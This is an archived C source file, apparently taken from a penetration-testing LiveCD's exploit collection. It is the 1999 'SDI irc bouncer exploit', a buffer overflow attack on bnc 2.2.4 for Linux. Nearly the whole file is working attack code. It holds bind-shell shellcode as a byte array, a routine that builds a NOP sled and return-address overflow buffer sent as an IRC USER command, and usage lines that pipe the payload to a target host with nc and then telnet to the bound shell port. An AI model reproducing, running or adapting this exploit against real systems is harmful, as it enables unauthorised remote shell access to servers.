home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / SDI-bnc.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. /*
  2.  * SDI irc bouncer exploit
  3.  *
  4.  * This source exploits a buffer overflow in the bnc,
  5.  * popular irc bouncer, binding a shell.
  6.  *
  7.  * Tested against bnc 2.2.4 running on linux.
  8.  *
  9.  * usage:
  10.  *       lame:~# gcc SDI-bnc.c -o SDI-bnc
  11.  *
  12.  *       lame:~# (SDI-bnc 0; cat) | nc www.lame.org 666
  13.  *                        `-> offset, zero in most cases
  14.  *
  15.  *       lame:~# telnet www.lame.org 10752
  16.  *
  17.  *
  18.  * by jamez and dumped from sekure SDI (www.sekure.org)
  19.  *
  20.  * email: securecode@sekure.org
  21.  *
  22.  * merry christmas and happy 1999 ;)
  23.  *
  24.  */
  25.  
  26. /* c0nd0r :* */
  27. char bindcode[] =
  28.   "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80\x33\xD2\x33\xc0\x8b\xDA\xb0\x06"
  29.   "\xcd\x80\xfe\xc2\x75\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62"
  30.   "\xeb\x62\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b\xeb\xf5\xb0"
  31.   "\x30\xfe\xc8\x88\x46\xff\xeb\xec\x5e\xb0\x02\x89\x06\xfe\xc8\x89"
  32.   "\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb\xfe\xc3\x89\xf1\xcd"
  33.   "\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46\x0e\x8d"
  34.   "\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
  35.   "\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
  36.   "\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
  37.   "\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
  38.   "\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
  39.   "\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
  40.   "\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
  41.   "\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";
  42.  
  43. #define SIZE 1600
  44. #define NOP 0x90
  45.  
  46. char buffer[SIZE];
  47.  
  48. void main(int argc, char * argv[])
  49. {
  50.   int i, x, offset = 0;
  51.   long addr;
  52.  
  53.   if(argc > 1) offset = atoi(argv[1]);
  54.  
  55.   addr = 0xbffff6ff + offset; /* evil addr */
  56.  
  57.   for(i = 0; i < SIZE/3; i++)
  58.     buffer[i] = NOP;
  59.  
  60.   for(x = 0; x < strlen(bindcode); i++, x++)
  61.     buffer[i] = bindcode[x];
  62.  
  63.   for (; i < SIZE; i += 4)
  64.     {
  65.       buffer[i  ] =  addr & 0x000000ff;
  66.       buffer[i+1] = (addr & 0x0000ff00) >> 8;
  67.       buffer[i+2] = (addr & 0x00ff0000) >> 16;
  68.       buffer[i+3] = (addr & 0xff000000) >> 24;
  69.     }
  70.  
  71.   buffer[SIZE - 1] = 0;
  72.   printf("USER %s\n", buffer);
  73. }
  74. /*                    www.hack.co.za              [2000]*/